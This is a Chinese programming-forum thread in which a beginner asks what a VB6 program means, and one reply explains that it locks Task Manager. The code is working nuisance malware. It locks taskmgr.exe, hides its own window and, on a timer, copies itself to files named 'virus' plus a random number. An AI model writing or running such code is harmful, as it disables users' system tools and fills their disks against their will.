| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 605 人关注过本帖
标题:vb6.0人门的简单问题 菜鸟问题
只看楼主 加入收藏
linchenyi
Rank: 1
等 级:新手上路
帖 子:4
专家分:0
注 册:2010-4-4
结帖率:0
收藏
已结贴  问题点数:20 回复次数:2 
vb6.0人门的简单问题 菜鸟问题
Option Explicit
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Const WS_EX_LAYERED = &H80000
Const GWL_EXSTYLE = (-20)
Const LWA_ALPHA = &H2
Const LWA_COLORKEY = &H1

Dim c As String
Dim b As String

是什么意思
搜索更多相关主题的帖子: 简单问题 
2010-04-04 18:19
linchenyi
Rank: 1
等 级:新手上路
帖 子:4
专家分:0
注 册:2010-4-4
收藏
得分:0 
Option Explicit
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Const WS_EX_LAYERED = &H80000
Const GWL_EXSTYLE = (-20)
Const LWA_ALPHA = &H2
Const LWA_COLORKEY = &H1

Dim c As String
Dim b As String

Private Sub Command1_Click()
If Text1.Text = "" Then
End
Else
End If
End Sub

Private Sub Form_Load()
Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary Lock Read As #1
Dim sty As Long
sty = GetWindowLong(Me.hwnd, GWL_EXSTYLE)
sty = sty Or WS_EX_LAYERED
SetWindowLong Me.hwnd, GWL_EXSTYLE, sty
SetLayeredWindowAttributes Me.hwnd, 0, 10, LWA_ALPHA
End Sub

Private Sub Timer1_Timer()
b = "病毒" & Rnd
c = b + ".exe"
c = App.Path & "\" + c
FileCopy App.Path & "\" & App.EXEName + ".exe", c
End Sub
 这又是什么意思呢??
2010-04-04 18:48
a285270220
Rank: 2
等 级:论坛游民
帖 子:49
专家分:29
注 册:2009-3-27
收藏
得分:20 
回复 2楼 linchenyi
你这是锁定任务管理器的
2010-04-04 22:15
快速回复:vb6.0人门的简单问题 菜鸟问题
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.044857 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved